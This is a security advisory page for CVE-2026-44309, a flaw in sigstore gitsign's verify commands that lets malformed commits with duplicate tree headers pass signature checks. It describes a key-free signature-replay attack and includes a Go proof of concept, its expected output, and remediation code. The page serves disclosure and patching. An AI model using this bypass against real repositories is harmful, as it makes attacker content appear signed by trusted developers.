CVE-2026-44309: Github.com/sigstore/gitsign Gitsign Verify Accepts Signatures Over Vulnerability

MODERATE
Advisory Identifier: GHSA-7rmh-48mx-2vwc
CVSS 5.3
CWE-295 CWE-347
Published
Advisory Summary

CVE-2026-44309 is a MODERATE (CVSS 5.3) gitsign verify accepts signatures over vulnerability (CWE-295: Improper Certificate Validation) affecting Github.com/sigstore/gitsign libraries in the Go ecosystem. The issue involves gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits. Remediation is available by upgrading affected packages to version 0.16.0.

CVE-2026-44309 at a Glance

CVE Identifier CVE-2026-44309
GHSA Identifier GHSA-7rmh-48mx-2vwc
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Github.com/sigstore/gitsign
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-44309

To remediate this vulnerability, upgrade all affected Github.com/sigstore/gitsign dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/sigstore/gitsign fixed: 0.16.0
Upgrade github.com/sigstore/gitsign to 0.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/sigstore/gitsign

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44309, inspect your project dependencies for Github.com/sigstore/gitsign:

inspect dependencies for github.com/sigstore/gitsign

Analyze the terminal output to locate any version of Github.com/sigstore/gitsign in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.16.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Github.com/sigstore/gitsign, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None — the most impactful form (signature replay) requires no signing key - **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged — impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` — `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77) - `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63–92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76–95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137–142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56–70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature — replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <eve@example.com> 1700000000 +0000" committer := "committer Eve <eve@example.com> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go — replace lines 63–92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header — identical to what git-core passes summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-44309 Affected Github.com/sigstore/gitsign Versions

1 component(s)
Fixed Versions:
0.16.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/sigstore/gitsign
Go
< 0.16.0
0.16.0

References

Frequently Asked Questions

What is CVE-2026-44309?
CVE-2026-44309 is a security vulnerability in Github.com/sigstore/gitsign involving gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits under CWE-295: Improper Certificate Validation.
Which Github.com/sigstore/gitsign versions are affected?
Affected versions include releases prior to 0.16.0 across affected packages: github.com/sigstore/gitsign.
What version fixes CVE-2026-44309?
Upgrading to 0.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/sigstore/gitsign affected?
Yes, github.com/sigstore/gitsign is affected in releases prior to 0.16.0. Upgrade your dependency to 0.16.0 or later.
What is the CVSS score of CVE-2026-44309?
CVE-2026-44309 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-44309?
CVE-2026-44309 is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check Go dependencies for CVE-2026-44309?
Run the dependency tree command: 'inspect dependencies for github.com/sigstore/gitsign'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rmh-48mx-2vwc",
  "modified" : "2026-05-15T23:49:58Z",
  "published" : "2026-05-08T22:38:50Z",
  "aliases" : [ "CVE-2026-44309" ],
  "summary" : "gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits",
  "details" : "## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None — the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged — impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` — `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77)\n- `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63–92\nc, err := repo.CommitObject(*h)          // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form\n    return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76–95\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n    return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137–142\n// We're making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don't match the unmarshal type.\n// We should see if there's a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n    encoder, err = commit(obj, sig)\n```\n\ngo-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56–70\ndetached := len(args) >= 2\nif detached {\n    data, sig, err = readDetached(s, args...)  // raw bytes from git-core\n} else {\n    sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1                        ← Alice's real tree (what go-git and gitsign see)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature over T1 canonical form>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2                        ← attacker's malicious tree (git-core uses this)\ntree T1                        ← Alice's tree (go-git uses this)\nauthor Alice <alice@corp.com> ...\ncommitter Alice <alice@corp.com> ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n <Alice's valid signature — replayed verbatim>\n -----END SIGNED MESSAGE-----\n\nThis is Alice's commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n    \"context\"\n    \"crypto\"\n    \"crypto/ecdsa\"\n    \"crypto/elliptic\"\n    \"crypto/rand\"\n    \"crypto/x509\"\n    \"crypto/x509/pkix\"\n    \"fmt\"\n    \"io\"\n    \"math/big\"\n    \"strings\"\n    \"time\"\n\n    \"github.com/go-git/go-git/v5/plumbing\"\n    \"github.com/go-git/go-git/v5/plumbing/object\"\n    \"github.com/go-git/go-git/v5/storage/memory\"\n    \"github.com/sigstore/gitsign/internal/signature\"\n    ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n    cert *x509.Certificate\n    priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }\nfunc (i *identity) Delete() error                                  { return nil }\nfunc (i *identity) Close()                                         {}\n\nfunc indentSig(sig string) string {\n    sig = strings.TrimSuffix(sig, \"\\n\")\n    lines := strings.Split(sig, \"\\n\")\n    out := \"gpgsig \" + lines[0] + \"\\n\"\n    for _, ln := range lines[1:] {\n        out += \" \" + ln + \"\\n\"\n    }\n    return out\n}\n\nfunc main() {\n    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n    tmpl := &x509.Certificate{\n        SerialNumber:          big.NewInt(1),\n        Subject:               pkix.Name{CommonName: \"attacker\"},\n        NotBefore:             time.Now().Add(-time.Minute),\n        NotAfter:              time.Now().Add(time.Hour),\n        KeyUsage:              x509.KeyUsageDigitalSignature,\n        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n        BasicConstraintsValid: true,\n    }\n    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)\n    cert, _ := x509.ParseCertificate(rawCert)\n\n    treeFirst  := strings.Repeat(\"a\", 40) // git-core uses this\n    treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n    author     := \"author Eve <eve@example.com> 1700000000 +0000\"\n    committer  := \"committer Eve <eve@example.com> 1700000000 +0000\"\n    msg        := \"msg\\n\"\n\n    // Sign the go-git canonical form (second tree only)\n    canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n    id := &identity{cert: cert, priv: priv}\n    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n    if err != nil {\n        panic(err)\n    }\n\n    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n    malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n    st := memory.NewStorage()\n    enc := st.NewEncodedObject()\n    enc.SetType(plumbing.CommitObject)\n    w, _ := enc.Writer()\n    _, _ = w.Write([]byte(malformedRaw))\n    _ = w.Close()\n    c, err := object.DecodeCommit(st, enc)\n    if err != nil {\n        panic(err)\n    }\n\n    // Reproduce what gitsign verify does\n    out := new(plumbing.MemoryObject)\n    if err := c.EncodeWithoutSignature(out); err != nil {\n        panic(err)\n    }\n    r, _ := out.Reader()\n    verifyData, _ := io.ReadAll(r)\n\n    roots := x509.NewCertPool()\n    roots.AddCert(cert)\n    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n    rawObj := &plumbing.MemoryObject{}\n    rawObj.SetType(plumbing.CommitObject)\n    _, _ = rawObj.Write([]byte(malformedRaw))\n\n    fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n    fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n    fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n    fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n    fmt.Println(\"CERT_VERIFY_ERROR:\", verr)           // nil = signature accepted\n    fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n    fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n    fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL:  true\nCERT_VERIFY_ERROR:             <nil>          ← signature accepted\nOBJECTHASH_ERROR:              <nil>\nOBJECTHASH_FROM_VERIFY_DATA:   <hash of canonical form>\nRAW_MALFORMED_COMMIT_HASH:     <different hash>   ← hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go — replace lines 63–92\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n    return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n    return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n    return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n    return err\n}\n// data is now the raw bytes without the gpgsig header — identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n    seen := map[string]bool{}\n    for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n        if idx := bytes.IndexByte(line, ' '); idx > 0 {\n            key := string(line[:idx])\n            if seen[key] {\n                return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n            }\n            seen[key] = true\n        }\n        if len(line) == 0 {\n            break // end of headers\n        }\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/sigstore/gitsign"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.16.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44309"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sigstore/gitsign"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295", "CWE-347" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T22:38:50Z",
    "nvd_published_at" : "2026-05-15T17:16:47Z"
  }
}